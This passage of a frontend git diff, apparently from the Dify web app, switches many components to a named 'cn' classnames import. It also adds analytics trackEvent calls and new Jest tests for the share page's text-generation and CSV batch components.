+                <div className='system-sm-semibold-uppercase sticky top-0 flex h-7 items-center justify-between px-2 pt-1 text-text-secondary'>
                   {t('plugin.task.installing')} ({runningPlugins.length})
                 </div>
                 <div className='max-h-[200px] overflow-y-auto'>
@@ -220,7 +220,7 @@ const PluginTasks = () => {
             {/* Success Plugins */}
             {successPlugins.length > 0 && (
               <>
-                <div className='system-sm-semibold-uppercase sticky top-0 flex h-7 items-center justify-between px-2 pt-1'>
+                <div className='system-sm-semibold-uppercase sticky top-0 flex h-7 items-center justify-between px-2 pt-1 text-text-secondary'>
                   {t('plugin.task.installed')} ({successPlugins.length})
                   <Button
                     className='shrink-0'
@@ -261,7 +261,7 @@ const PluginTasks = () => {
             {/* Error Plugins */}
             {errorPlugins.length > 0 && (
               <>
-                <div className='system-sm-semibold-uppercase sticky top-0 flex h-7 items-center justify-between px-2 pt-1'>
+                <div className='system-sm-semibold-uppercase sticky top-0 flex h-7 items-center justify-between px-2 pt-1 text-text-secondary'>
                   {t('plugin.task.installError', { errorLength: errorPlugins.length })}
                   <Button
                     className='shrink-0'
diff --git a/web/app/components/plugins/provider-card.tsx b/web/app/components/plugins/provider-card.tsx
index cef8b49038..c1e1f49f22 100644
--- a/web/app/components/plugins/provider-card.tsx
+++ b/web/app/components/plugins/provider-card.tsx
@@ -12,7 +12,7 @@ import Title from './card/base/title'
 import DownloadCount from './card/base/download-count'
 import Button from '@/app/components/base/button'
 import InstallFromMarketplace from '@/app/components/plugins/install-plugin/install-from-marketplace'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useBoolean } from 'ahooks'
 import { getPluginLinkInMarketplace } from '@/app/components/plugins/marketplace/utils'
 import { useI18N } from '@/context/i18n'
diff --git a/web/app/components/plugins/readme-panel/entrance.tsx b/web/app/components/plugins/readme-panel/entrance.tsx
index ba4bf8fa78..fbde01ecaa 100644
--- a/web/app/components/plugins/readme-panel/entrance.tsx
+++ b/web/app/components/plugins/readme-panel/entrance.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiBookReadLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ReadmeShowType, useReadmePanelStore } from './store'
 import { BUILTIN_TOOLS_ARRAY } from './constants'
 import type { PluginDetail } from '../types'
diff --git a/web/app/components/plugins/readme-panel/index.tsx b/web/app/components/plugins/readme-panel/index.tsx
index cae5413c7c..2b146de4b5 100644
--- a/web/app/components/plugins/readme-panel/index.tsx
+++ b/web/app/components/plugins/readme-panel/index.tsx
@@ -4,7 +4,7 @@ import Loading from '@/app/components/base/loading'
 import { Markdown } from '@/app/components/base/markdown'
 import { useLanguage } from '@/app/components/header/account-setting/model-provider-page/hooks'
 import { usePluginReadme } from '@/service/use-plugins'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiBookReadLine, RiCloseLine } from '@remixicon/react'
 import type { FC } from 'react'
 import { createPortal } from 'react-dom'
diff --git a/web/app/components/plugins/reference-setting-modal/auto-update-setting/index.tsx b/web/app/components/plugins/reference-setting-modal/auto-update-setting/index.tsx
index dfbeaad9cb..f43e496a97 100644
--- a/web/app/components/plugins/reference-setting-modal/auto-update-setting/index.tsx
+++ b/web/app/components/plugins/reference-setting-modal/auto-update-setting/index.tsx
@@ -12,7 +12,7 @@ import { convertLocalSecondsToUTCDaySeconds, convertUTCDaySecondsToLocalSeconds,
 import { useAppContext } from '@/context/app-context'
 import type { TriggerParams } from '@/app/components/base/date-and-time-picker/types'
 import { RiTimeLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { convertTimezoneToOffsetStr } from '@/app/components/base/date-and-time-picker/utils/dayjs'
 import { useModalContextSelector } from '@/context/modal-context'
 import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
diff --git a/web/app/components/plugins/reference-setting-modal/auto-update-setting/no-data-placeholder.tsx b/web/app/components/plugins/reference-setting-modal/auto-update-setting/no-data-placeholder.tsx
index 979dc626e8..5a190184a4 100644
--- a/web/app/components/plugins/reference-setting-modal/auto-update-setting/no-data-placeholder.tsx
+++ b/web/app/components/plugins/reference-setting-modal/auto-update-setting/no-data-placeholder.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Group } from '@/app/components/base/icons/src/vender/other'
 import { SearchMenu } from '@/app/components/base/icons/src/vender/line/general'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/plugins/reference-setting-modal/auto-update-setting/plugins-selected.tsx b/web/app/components/plugins/reference-setting-modal/auto-update-setting/plugins-selected.tsx
index 42c2a34ee8..0245256b18 100644
--- a/web/app/components/plugins/reference-setting-modal/auto-update-setting/plugins-selected.tsx
+++ b/web/app/components/plugins/reference-setting-modal/auto-update-setting/plugins-selected.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { MARKETPLACE_API_PREFIX } from '@/config'
 import Icon from '@/app/components/plugins/card/base/card-icon'
 
diff --git a/web/app/components/plugins/reference-setting-modal/auto-update-setting/tool-picker.tsx b/web/app/components/plugins/reference-setting-modal/auto-update-setting/tool-picker.tsx
index ed8ae6411e..c2b24f0bb9 100644
--- a/web/app/components/plugins/reference-setting-modal/auto-update-setting/tool-picker.tsx
+++ b/web/app/components/plugins/reference-setting-modal/auto-update-setting/tool-picker.tsx
@@ -10,7 +10,7 @@ import { useInstalledPluginList } from '@/service/use-plugins'
 import { PLUGIN_TYPE_SEARCH_MAP } from '../../marketplace/plugin-type-switch'
 import SearchBox from '@/app/components/plugins/marketplace/search-box'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ToolItem from './tool-item'
 import Loading from '@/app/components/base/loading'
 import NoDataPlaceholder from './no-data-placeholder'
diff --git a/web/app/components/plugins/reference-setting-modal/label.tsx b/web/app/components/plugins/reference-setting-modal/label.tsx
index 6444bf801d..df66aea94a 100644
--- a/web/app/components/plugins/reference-setting-modal/label.tsx
+++ b/web/app/components/plugins/reference-setting-modal/label.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   label: string
diff --git a/web/app/components/plugins/update-plugin/from-market-place.tsx b/web/app/components/plugins/update-plugin/from-market-place.tsx
index 57c36f77d1..75be70ae6c 100644
--- a/web/app/components/plugins/update-plugin/from-market-place.tsx
+++ b/web/app/components/plugins/update-plugin/from-market-place.tsx
@@ -15,7 +15,7 @@ import { usePluginTaskList } from '@/service/use-plugins'
 import Toast from '../../base/toast'
 import DowngradeWarningModal from './downgrade-warning'
 import { useInvalidateReferenceSettings, useRemoveAutoUpgrade } from '@/service/use-plugins'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const i18nPrefix = 'plugin.upgrade'
 
diff --git a/web/app/components/plugins/update-plugin/plugin-version-picker.tsx b/web/app/components/plugins/update-plugin/plugin-version-picker.tsx
index db1eb3c3a4..04044f9143 100644
--- a/web/app/components/plugins/update-plugin/plugin-version-picker.tsx
+++ b/web/app/components/plugins/update-plugin/plugin-version-picker.tsx
@@ -14,7 +14,7 @@ import type {
 } from '@floating-ui/react'
 import { useVersionListOfPlugin } from '@/service/use-plugins'
 import useTimestamp from '@/hooks/use-timestamp'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { lt } from 'semver'
 
 type Props = {
diff --git a/web/app/components/rag-pipeline/components/chunk-card-list/index.tsx b/web/app/components/rag-pipeline/components/chunk-card-list/index.tsx
index d7b83d8375..753a9a53be 100644
--- a/web/app/components/rag-pipeline/components/chunk-card-list/index.tsx
+++ b/web/app/components/rag-pipeline/components/chunk-card-list/index.tsx
@@ -1,5 +1,5 @@
 import { useMemo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { ChunkInfo, GeneralChunks, ParentChildChunk, ParentChildChunks, QAChunk, QAChunks } from './types'
 import { ChunkingMode, type ParentMode } from '@/models/datasets'
 import ChunkCard from './chunk-card'
diff --git a/web/app/components/rag-pipeline/components/panel/input-field/editor/index.tsx b/web/app/components/rag-pipeline/components/panel/input-field/editor/index.tsx
index 615939e002..85bf5debf8 100644
--- a/web/app/components/rag-pipeline/components/panel/input-field/editor/index.tsx
+++ b/web/app/components/rag-pipeline/components/panel/input-field/editor/index.tsx
@@ -7,7 +7,7 @@ import type { InputVar } from '@/models/pipeline'
 import type { FormData } from './form/types'
 import type { MoreInfo } from '@/app/components/workflow/types'
 import { useFloatingRight } from '../hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type InputFieldEditorProps = {
   onClose: () => void
diff --git a/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-item.tsx b/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-item.tsx
index 893d1c25f5..adbfe2ba2c 100644
--- a/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-item.tsx
+++ b/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-item.tsx
@@ -9,7 +9,7 @@ import {
 } from '@remixicon/react'
 import { InputField } from '@/app/components/base/icons/src/vender/pipeline'
 import InputVarTypeIcon from '@/app/components/workflow/nodes/_base/components/input-var-type-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Badge from '@/app/components/base/badge'
 import type { InputVar } from '@/models/pipeline'
 import type { InputVarType } from '@/app/components/workflow/types'
diff --git a/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-list-container.tsx b/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-list-container.tsx
index b3ce3ad388..056d58b040 100644
--- a/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-list-container.tsx
+++ b/web/app/components/rag-pipeline/components/panel/input-field/field-list/field-list-container.tsx
@@ -4,7 +4,7 @@ import {
   useMemo,
 } from 'react'
 import { ReactSortable } from 'react-sortablejs'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { InputVar } from '@/models/pipeline'
 import FieldItem from './field-item'
 import type { SortableItem } from './types'
diff --git a/web/app/components/rag-pipeline/components/panel/input-field/field-list/index.tsx b/web/app/components/rag-pipeline/components/panel/input-field/field-list/index.tsx
index 2a050de3f4..5b9e992041 100644
--- a/web/app/components/rag-pipeline/components/panel/input-field/field-list/index.tsx
+++ b/web/app/components/rag-pipeline/components/panel/input-field/field-list/index.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback } from 'react'
 import { RiAddLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { InputVar } from '@/models/pipeline'
 import ActionButton from '@/app/components/base/action-button'
 import { useFieldList } from './hooks'
diff --git a/web/app/components/rag-pipeline/components/panel/input-field/index.tsx b/web/app/components/rag-pipeline/components/panel/input-field/index.tsx
index da00433f30..2c97a0931b 100644
--- a/web/app/components/rag-pipeline/components/panel/input-field/index.tsx
+++ b/web/app/components/rag-pipeline/components/panel/input-field/index.tsx
@@ -20,7 +20,7 @@ import type { InputVar, RAGPipelineVariables } from '@/models/pipeline'
 import Button from '@/app/components/base/button'
 import Divider from '@/app/components/base/divider'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useInputFieldPanel } from '@/app/components/rag-pipeline/hooks'
 
 const InputFieldPanel = () => {
diff --git a/web/app/components/rag-pipeline/components/panel/input-field/preview/index.tsx b/web/app/components/rag-pipeline/components/panel/input-field/preview/index.tsx
index 43b63b183a..1bc8a04a20 100644
--- a/web/app/components/rag-pipeline/components/panel/input-field/preview/index.tsx
+++ b/web/app/components/rag-pipeline/components/panel/input-field/preview/index.tsx
@@ -7,7 +7,7 @@ import Divider from '@/app/components/base/divider'
 import ProcessDocuments from './process-documents'
 import type { Datasource } from '../../test-run/types'
 import { useInputFieldPanel } from '@/app/components/rag-pipeline/hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFloatingRight } from '../hooks'
 
 const PreviewPanel = () => {
diff --git a/web/app/components/rag-pipeline/components/panel/test-run/preparation/data-source-options/option-card.tsx b/web/app/components/rag-pipeline/components/panel/test-run/preparation/data-source-options/option-card.tsx
index 8908c90cb6..bd433d19dc 100644
--- a/web/app/components/rag-pipeline/components/panel/test-run/preparation/data-source-options/option-card.tsx
+++ b/web/app/components/rag-pipeline/components/panel/test-run/preparation/data-source-options/option-card.tsx
@@ -1,5 +1,5 @@
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockIcon from '@/app/components/workflow/block-icon'
 import { BlockEnum } from '@/app/components/workflow/types'
 import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
diff --git a/web/app/components/rag-pipeline/components/panel/test-run/preparation/index.tsx b/web/app/components/rag-pipeline/components/panel/test-run/preparation/index.tsx
index c659d8669a..8a1d33b202 100644
--- a/web/app/components/rag-pipeline/components/panel/test-run/preparation/index.tsx
+++ b/web/app/components/rag-pipeline/components/panel/test-run/preparation/index.tsx
@@ -21,6 +21,7 @@ import { useDataSourceStore, useDataSourceStoreWithSelector } from '@/app/compon
 import { useShallow } from 'zustand/react/shallow'
 import { useWorkflowStore } from '@/app/components/workflow/store'
 import StepIndicator from './step-indicator'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const Preparation = () => {
   const {
@@ -121,6 +122,7 @@ const Preparation = () => {
       datasource_type: datasourceType,
       datasource_info_list: datasourceInfoList,
     })
+    trackEvent('pipeline_start_action_time', { action_type: 'document_processing' })
     setIsPreparingDataSource?.(false)
   }, [dataSourceStore, datasource, datasourceType, handleRun, workflowStore])
 
diff --git a/web/app/components/rag-pipeline/components/panel/test-run/preparation/step-indicator.tsx b/web/app/components/rag-pipeline/components/panel/test-run/preparation/step-indicator.tsx
index 7227d98dc1..4abb49406a 100644
--- a/web/app/components/rag-pipeline/components/panel/test-run/preparation/step-indicator.tsx
+++ b/web/app/components/rag-pipeline/components/panel/test-run/preparation/step-indicator.tsx
@@ -1,5 +1,5 @@
 import Divider from '@/app/components/base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import React from 'react'
 
 type Step = {
diff --git a/web/app/components/rag-pipeline/components/panel/test-run/result/tabs/tab.tsx b/web/app/components/rag-pipeline/components/panel/test-run/result/tabs/tab.tsx
index 8c3e10b06e..548680f8f4 100644
--- a/web/app/components/rag-pipeline/components/panel/test-run/result/tabs/tab.tsx
+++ b/web/app/components/rag-pipeline/components/panel/test-run/result/tabs/tab.tsx
@@ -1,5 +1,5 @@
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { WorkflowRunningData } from '@/app/components/workflow/types'
 
 type TabProps = {
diff --git a/web/app/components/rag-pipeline/components/rag-pipeline-header/publisher/popup.tsx b/web/app/components/rag-pipeline/components/rag-pipeline-header/publisher/popup.tsx
index 42ca643cb0..ca8d67476c 100644
--- a/web/app/components/rag-pipeline/components/rag-pipeline-header/publisher/popup.tsx
+++ b/web/app/components/rag-pipeline/components/rag-pipeline-header/publisher/popup.tsx
@@ -40,13 +40,14 @@ import PublishAsKnowledgePipelineModal from '../../publish-as-knowledge-pipeline
 import type { IconInfo } from '@/models/datasets'
 import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
 import { useProviderContext } from '@/context/provider-context'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import PremiumBadge from '@/app/components/base/premium-badge'
 import { SparklesSoft } from '@/app/components/base/icons/src/public/common'
 import { useModalContextSelector } from '@/context/modal-context'
 import Link from 'next/link'
 import { useDatasetApiAccessUrl } from '@/hooks/use-api-access-url'
 import { useFormatTimeFromNow } from '@/hooks/use-format-time-from-now'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const PUBLISH_SHORTCUT = ['ctrl', '⇧', 'P']
 
@@ -109,6 +110,7 @@ const Popup = () => {
           releaseNotes: params?.releaseNotes || '',
         })
         setPublished(true)
+        trackEvent('app_published_time', { action_mode: 'pipeline', app_id: datasetId, app_name: params?.title || '' })
         if (res) {
           notify({
             type: 'success',
@@ -219,10 +221,8 @@ const Popup = () => {
   }, [isAllowPublishAsCustomKnowledgePipelineTemplate, setShowPublishAsKnowledgePipelineModal, setShowPricingModal])
 
   return (
-    <div className={classNames(
-      'rounded-2xl border-[0.5px] border-components-panel-border bg-components-panel-bg shadow-xl shadow-shadow-shadow-5',
-      isAllowPublishAsCustomKnowledgePipelineTemplate ? 'w-[360px]' : 'w-[400px]',
-    )}>
+    <div className={cn('rounded-2xl border-[0.5px] border-components-panel-border bg-components-panel-bg shadow-xl shadow-shadow-shadow-5',
+      isAllowPublishAsCustomKnowledgePipelineTemplate ? 'w-[360px]' : 'w-[400px]')}>
       <div className='p-4 pt-3'>
         <div className='system-xs-medium-uppercase flex h-6 items-center text-text-tertiary'>
           {publishedAt ? t('workflow.common.latestPublished') : t('workflow.common.currentDraftUnpublished')}
diff --git a/web/app/components/rag-pipeline/components/rag-pipeline-header/run-mode.tsx b/web/app/components/rag-pipeline/components/rag-pipeline-header/run-mode.tsx
index 304e21130a..b32749bfee 100644
--- a/web/app/components/rag-pipeline/components/rag-pipeline-header/run-mode.tsx
+++ b/web/app/components/rag-pipeline/components/rag-pipeline-header/run-mode.tsx
@@ -6,7 +6,7 @@ import { WorkflowRunningStatus } from '@/app/components/workflow/types'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import { EVENT_WORKFLOW_STOP } from '@/app/components/workflow/variable-inspect/types'
 import { getKeyboardKeyNameBySystem } from '@/app/components/workflow/utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiCloseLine, RiDatabase2Line, RiLoader2Line, RiPlayLargeLine } from '@remixicon/react'
 import { StopCircle } from '@/app/components/base/icons/src/vender/line/mediaAndDevices'
 
diff --git a/web/app/components/share/text-generation/index.tsx b/web/app/components/share/text-generation/index.tsx
index f5cb7005b8..8e3b7e1780 100644
--- a/web/app/components/share/text-generation/index.tsx
+++ b/web/app/components/share/text-generation/index.tsx
@@ -36,7 +36,7 @@ import type { VisionFile, VisionSettings } from '@/types/app'
 import { Resolution, TransferMethod } from '@/types/app'
 import { useAppFavicon } from '@/hooks/use-app-favicon'
 import DifyLogo from '@/app/components/base/logo/dify-logo'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AccessMode } from '@/models/access-control'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import useDocumentTitle from '@/hooks/use-document-title'
diff --git a/web/app/components/share/text-generation/info-modal.tsx b/web/app/components/share/text-generation/info-modal.tsx
index 156270fc85..1593f16509 100644
--- a/web/app/components/share/text-generation/info-modal.tsx
+++ b/web/app/components/share/text-generation/info-modal.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import AppIcon from '@/app/components/base/app-icon'
 import type { SiteInfo } from '@/models/share'
diff --git a/web/app/components/share/text-generation/menu-dropdown.tsx b/web/app/components/share/text-generation/menu-dropdown.tsx
index e3b12b3d84..251edc7a35 100644
--- a/web/app/components/share/text-generation/menu-dropdown.tsx
+++ b/web/app/components/share/text-generation/menu-dropdown.tsx
@@ -17,7 +17,7 @@ import {
 } from '@/app/components/base/portal-to-follow-elem'
 import ThemeSwitcher from '@/app/components/base/theme-switcher'
 import type { SiteInfo } from '@/models/share'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AccessMode } from '@/models/access-control'
 import { useWebAppStore } from '@/context/web-app-context'
 import { webAppLogout } from '@/service/webapp-auth'
diff --git a/web/app/components/share/text-generation/no-data/index.spec.tsx b/web/app/components/share/text-generation/no-data/index.spec.tsx
new file mode 100644
index 0000000000..0e2a592e46
--- /dev/null
+++ b/web/app/components/share/text-generation/no-data/index.spec.tsx
@@ -0,0 +1,15 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import NoData from './index'
+
+describe('NoData', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+  it('should render empty state icon and text when mounted', () => {
+    const { container } = render(<NoData />)
+
+    expect(container.querySelector('svg')).toBeInTheDocument()
+    expect(screen.getByText('share.generation.noData')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/share/text-generation/run-batch/csv-download/index.spec.tsx b/web/app/components/share/text-generation/run-batch/csv-download/index.spec.tsx
new file mode 100644
index 0000000000..45c8d75b55
--- /dev/null
+++ b/web/app/components/share/text-generation/run-batch/csv-download/index.spec.tsx
@@ -0,0 +1,49 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import CSVDownload from './index'
+
+const mockType = { Link: 'mock-link' }
+let capturedProps: Record<string, unknown> | undefined
+
+jest.mock('react-papaparse', () => ({
+  useCSVDownloader: () => {
+    const CSVDownloader = ({ children, ...props }: React.PropsWithChildren<Record<string, unknown>>) => {
+      capturedProps = props
+      return <div data-testid="csv-downloader" className={props.className as string}>{children}</div>
+    }
+    return {
+      CSVDownloader,
+      Type: mockType,
+    }
+  },
+}))
+
+describe('CSVDownload', () => {
+  const vars = [{ name: 'prompt' }, { name: 'context' }]
+
+  beforeEach(() => {
+    capturedProps = undefined
+    jest.clearAllMocks()
+  })
+
+  test('should render table headers and sample row for each variable', () => {
+    render(<CSVDownload vars={vars} />)
+
+    expect(screen.getByText('share.generation.csvStructureTitle')).toBeInTheDocument()
+    expect(screen.getAllByRole('row')[0].children).toHaveLength(2)
+    expect(screen.getByText('prompt share.generation.field')).toBeInTheDocument()
+    expect(screen.getByText('context share.generation.field')).toBeInTheDocument()
+  })
+
+  test('should configure CSV downloader with template data', () => {
+    render(<CSVDownload vars={vars} />)
+
+    expect(capturedProps?.filename).toBe('template')
+    expect(capturedProps?.type).toBe(mockType.Link)
+    expect(capturedProps?.bom).toBe(true)
+    expect(capturedProps?.data).toEqual([
+      { prompt: '', context: '' },
+    ])
+    expect(screen.getByText('share.generation.downloadTemplate')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/share/text-generation/run-batch/csv-reader/index.spec.tsx b/web/app/components/share/text-generation/run-batch/csv-reader/index.spec.tsx
new file mode 100644
index 0000000000..3b854c07a8
--- /dev/null
+++ b/web/app/components/share/text-generation/run-batch/csv-reader/index.spec.tsx
@@ -0,0 +1,70 @@
+import React from 'react'
+import { act, render, screen, waitFor } from '@testing-library/react'
+import CSVReader from './index'
+
+let mockAcceptedFile: { name: string } | null = null
+let capturedHandlers: Record<string, (payload: any) => void> = {}
+
+jest.mock('react-papaparse', () => ({
+  useCSVReader: () => ({
+    CSVReader: ({ children, ...handlers }: any) => {
+      capturedHandlers = handlers
+      return (
+        <div data-testid="csv-reader-wrapper">
+          {children({
+            getRootProps: () => ({ 'data-testid': 'drop-zone' }),
+            acceptedFile: mockAcceptedFile,
+          })}
+        </div>
+      )
+    },
+  }),
+}))
+
+describe('CSVReader', () => {
+  beforeEach(() => {
+    mockAcceptedFile = null
+    capturedHandlers = {}
+    jest.clearAllMocks()
+  })
+
+  test('should display upload instructions when no file selected', async () => {
+    const onParsed = jest.fn()
+    render(<CSVReader onParsed={onParsed} />)
+
+    expect(screen.getByText('share.generation.csvUploadTitle')).toBeInTheDocument()
+    expect(screen.getByText('share.generation.browse')).toBeInTheDocument()
+
+    await act(async () => {
+      capturedHandlers.onUploadAccepted?.({ data: [['row1']] })
+    })
+    expect(onParsed).toHaveBeenCalledWith([['row1']])
+  })
+
+  test('should show accepted file name without extension', () => {
+    mockAcceptedFile = { name: 'batch.csv' }
+    render(<CSVReader onParsed={jest.fn()} />)
+
+    expect(screen.getByText('batch')).toBeInTheDocument()
+    expect(screen.getByText('.csv')).toBeInTheDocument()
+  })
+
+  test('should toggle hover styling on drag events', async () => {
+    render(<CSVReader onParsed={jest.fn()} />)
+    const dragEvent = { preventDefault: jest.fn() } as unknown as DragEvent
+
+    await act(async () => {
+      capturedHandlers.onDragOver?.(dragEvent)
+    })
+    await waitFor(() => {
+      expect(screen.getByTestId('drop-zone')).toHaveClass('border-components-dropzone-border-accent')
+    })
+
+    await act(async () => {
+      capturedHandlers.onDragLeave?.(dragEvent)
+    })
+    await waitFor(() => {
+      expect(screen.getByTestId('drop-zone')).not.toHaveClass('border-components-dropzone-border-accent')
+    })
+  })
+})
diff --git a/web/app/components/share/text-generation/run-batch/csv-reader/index.tsx b/web/app/components/share/text-generation/run-batch/csv-reader/index.tsx
index c19ec213ef..9c37c3846b 100644
--- a/web/app/components/share/text-generation/run-batch/csv-reader/index.tsx
+++ b/web/app/components/share/text-generation/run-batch/csv-reader/index.tsx
@@ -5,7 +5,7 @@ import {
   useCSVReader,
 } from 'react-papaparse'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Csv as CSVIcon } from '@/app/components/base/icons/src/public/files'
 
 export type Props = {
diff --git a/web/app/components/share/text-generation/run-batch/index.spec.tsx b/web/app/components/share/text-generation/run-batch/index.spec.tsx
new file mode 100644
index 0000000000..26e337c418
--- /dev/null
+++ b/web/app/components/share/text-generation/run-batch/index.spec.tsx
@@ -0,0 +1,88 @@
+import React from 'react'
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import RunBatch from './index'
+import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
+
+jest.mock('@/hooks/use-breakpoints', () => {
+  const actual = jest.requireActual('@/hooks/use-breakpoints')
+  return {
+    __esModule: true,
+    default: jest.fn(),
+    MediaType: actual.MediaType,
+  }
+})
+
+let latestOnParsed: ((data: string[][]) => void) | undefined
+let receivedCSVDownloadProps: Record<string, unknown> | undefined
+
+jest.mock('./csv-reader', () => (props: { onParsed: (data: string[][]) => void }) => {
+  latestOnParsed = props.onParsed
+  return <div data-testid="csv-reader" />
+})
+
+jest.mock('./csv-download', () => (props: { vars: { name: string }[] }) => {
+  receivedCSVDownloadProps = props
+  return <div data-testid="csv-download" />
+})
+
+const mockUseBreakpoints = useBreakpoints as jest.Mock
+
+describe('RunBatch', () => {
+  const vars = [{ name: 'prompt' }]
+
+  beforeEach(() => {
+    mockUseBreakpoints.mockReturnValue(MediaType.pc)
+    latestOnParsed = undefined
+    receivedCSVDownloadProps = undefined
+    jest.clearAllMocks()
+  })
+
+  test('should enable run button after CSV parsed and send data', async () => {
+    const onSend = jest.fn()
+    render(
+      <RunBatch
+        vars={vars}
+        onSend={onSend}
+        isAllFinished
+      />,
+    )
+
+    expect(receivedCSVDownloadProps?.vars).toEqual(vars)
+    await act(async () => {
+      latestOnParsed?.([['row1']])
+    })
+
+    const runButton = screen.getByRole('button', { name: 'share.generation.run' })
+    await waitFor(() => {
+      expect(runButton).not.toBeDisabled()
+    })
+
+    fireEvent.click(runButton)
+    expect(onSend).toHaveBeenCalledWith([['row1']])
+  })
+
+  test('should keep button disabled and show spinner when results still running on mobile', async () => {
+    mockUseBreakpoints.mockReturnValue(MediaType.mobile)
+    const onSend = jest.fn()
+    const { container } = render(
+      <RunBatch
+        vars={vars}
+        onSend={onSend}
+        isAllFinished={false}
+      />,
+    )
+
+    await act(async () => {
+      latestOnParsed?.([['row']])
+    })
+
+    const runButton = screen.getByRole('button', { name: 'share.generation.run' })
+    await waitFor(() => {
+      expect(runButton).toBeDisabled()
+    })
+    expect(runButton).toHaveClass('grow')
+    const icon = container.querySelector('svg')
+    expect(icon).toHaveClass('animate-spin')
+    expect(onSend).not.toHaveBeenCalled()
+  })
+})
diff --git a/web/app/components/share/text-generation/run-batch/index.tsx b/web/app/components/share/text-generation/run-batch/index.tsx
index eaaa31f4b8..258aed4b8d 100644
--- a/web/app/components/share/text-generation/run-batch/index.tsx
+++ b/web/app/components/share/text-generation/run-batch/index.tsx
@@ -10,7 +10,7 @@ import CSVReader from './csv-reader'
 import CSVDownload from './csv-download'
 import Button from '@/app/components/base/button'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 export type IRunBatchProps = {
   vars: { name: string }[]
   onSend: (data: string[][]) => void
diff --git a/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx b/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx
new file mode 100644
index 0000000000..5660db1374
--- /dev/null
+++ b/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx
@@ -0,0 +1,47 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import ResDownload from './index'
+
+const mockType = { Link: 'mock-link' }
+let capturedProps: Record<string, unknown> | undefined
+
+jest.mock('react-papaparse', () => ({
+  useCSVDownloader: () => {
+    const CSVDownloader = ({ children, ...props }: React.PropsWithChildren<Record<string, unknown>>) => {
+      capturedProps = props
+      return <div data-testid="csv-downloader" className={props.className as string}>{children}</div>
+    }
+    return {
+      CSVDownloader,
+      Type: mockType,
+    }
+  },
+}))
+
+describe('ResDownload', () => {
+  const values = [{ text: 'Hello' }]
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    capturedProps = undefined
+  })
+
+  it('should render desktop download button with CSV downloader props', () => {
+    render(<ResDownload isMobile={false} values={values} />)
+
+    expect(screen.getByTestId('csv-downloader')).toBeInTheDocument()
+    expect(screen.getByText('common.operation.download')).toBeInTheDocument()
+    expect(capturedProps?.data).toEqual(values)
